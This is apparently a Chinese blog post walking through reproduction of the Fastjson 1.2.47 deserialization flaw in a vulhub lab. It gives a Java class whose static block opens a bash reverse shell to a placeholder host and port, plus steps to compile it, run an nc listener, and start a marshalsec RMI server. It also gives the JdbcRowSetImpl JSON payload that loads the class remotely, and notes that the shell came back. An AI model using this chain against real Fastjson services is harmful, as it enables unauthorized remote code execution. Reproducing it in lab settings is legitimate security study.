fastjson漏洞复现(fastjson 1.2.47)

原理: Fastjson 的 @type 字段允许反序列化时动态指定类,攻击者可以通过指定带有危险行为的类,并结合 RMI/LDAP 远程加载恶意类,从而实现命令执行。

开启vulhub靶场


//如何验证是否存在fastjson反序列化漏洞
有json数据传输的地方可能存在
可以尝试使用dnslog带外

但是不知道什么原因没有带出来

开始漏洞利用过程
1、构建一个的java文件

点击查看代码
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/<ip>/<反弹端口> 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2、将这个java文件进行编译

点击查看代码
javac TouchFile.java

会生成一个class文件


然后在终端中启动nc监听

3、然后就是开启一个web服务


4、搭建一个rmi服务
去gthub上下载:https://github.com/mbechler/marshalsec
下载之后是一个要编译的文件 注:编译环境不对可能会出问题我找到的解决方法是 :https://www.cnblogs.com/cute-puli/p/14373826.html
可以参考以上文档,我用的是centos 7的然后java版本跟他最近的版本就行步骤是一样的
5、打包完成之后就可以将这个服务启动起来

playload:

点击查看代码
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://<rmi服务的ip:端口>/TouchFile",
        "autoCommit":true
    }
}

然后发送出去
web有访问

rmi服务有访问:

shell弹回来了

posted @ 2025-03-19 21:43  web渗透爱好者  阅读(319)  评论(0)    收藏  举报